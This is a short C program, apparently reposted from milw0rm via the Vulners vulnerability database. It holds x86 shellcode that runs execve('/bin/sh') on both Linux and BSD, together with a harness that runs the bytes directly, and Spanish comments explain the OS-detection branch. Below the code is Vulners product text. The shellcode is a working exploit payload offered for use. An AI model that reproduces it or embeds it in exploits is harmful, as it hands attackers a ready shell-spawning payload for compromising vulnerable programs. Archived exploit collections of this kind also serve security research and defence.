/*
* Linux/x86 and Bsd/x86
*
* execve() of /bin/sh by dymitri!!!
*
*/
#include <stdio.h>
char
code[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x54"
"\x53"
"\x50"
"\x8c\xe0"
"\x21\xc0"
"\x74\x04"
"\xb0\x3b"
"\xeb\x07" /* si es bsd saltamos los 7 bytes para llegar al int $0x80 */
"\xb0\x0b"
"\x99" /* En caso contrario si %fs es igual a 0 configuramos para que la ejecucion sea sobre linux */
"\x52"
"\x53"
"\x89\xe1"
"\xcd\x80";
main()
{
void (*s)() = (void *)code;
printf("Shellcode length: %d\nExecuting..\n\n",
strlen(code));
s();
}
// milw0rm.com [2004-09-12]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation